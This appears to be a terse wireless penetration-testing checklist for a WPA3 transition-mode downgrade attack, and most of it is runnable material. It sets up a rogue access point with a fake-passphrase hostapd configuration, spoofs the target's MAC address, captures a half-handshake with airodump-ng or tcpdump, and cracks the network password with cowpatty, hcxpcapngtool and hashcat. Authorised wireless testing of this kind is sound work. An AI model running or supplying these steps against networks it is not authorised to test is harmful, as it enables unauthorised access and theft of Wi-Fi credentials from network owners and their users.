Wi-Fi WPA3 Basic Wireless Pentest Checklist

• AP needs to be operating in transition mode
• Force clients to connect using a WPA2-PSK connection
  • Set up a rogue AP configured with WPA2-PSK
  • The PSK for the WPA3 network is unknown but we can capture a half handshake
    • Retrieve the PSK from this and then crack

For each password guess:

1. The PMK is calculated from message 1 and 2 of the handshake
2. The PTK is computed
3. The first 128 bits of the PTK corresponds to the KCK
4. The computed KCK is compared to the KCK extracted from the MIC in the captured handshake. If the KCK are the same then the password guess was likely correct.

Online brute-force might be necessary for verification of the password.

Setup rogue AP

• HostAPD.conf:

# Interface and SSID Configuration
ssid=<SSID>
hw_mode=g
channel=<CHANNEL>
interface=wlan1

#WPA2 AP Configuration
wpa=2
wpa_key_mgmt=WPA-PSK

#CCMP for RSN Pairwise Suite and Open System Authentication
rsn_pairwise=CCMP
auth_algs=1

#Fake Key to get half-handshake
wpa_passphrase=FAKEPASSWORD

• Change the MAC address of the wireless interface to that of the BSSID of the target AP

sudo ifconfig <interface> down
sudo macchanger -m <MAC> <interface>
sudo ifconfig <interface> up

• Capture handshake data

sudo airodump-ng -c <channel> --bssid <MAC> <interface> -w <output file> 

• Can also be captured from tcpdump if only using one interface

sudo tcpdump -i <interface> -w <output file>

• Launch the rogue AP

hostapd hostapd.conf

• If a client connects to the rogue AP the PSK they provide will not match the fake password. But the half-handshake should be captured.
• Use CowPatty to verify the handshake. The output should say "Collected all necessary data to mount crack"

cowpatty -c -r <pcap>

• Convert the pcap to hashcat format

hcxpcapngtool -o hash <pcap>

• Crack with hashcat

hashcat -m 22000 --force hash <wordlist>

Airgeddon

https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Features

Also supports this attack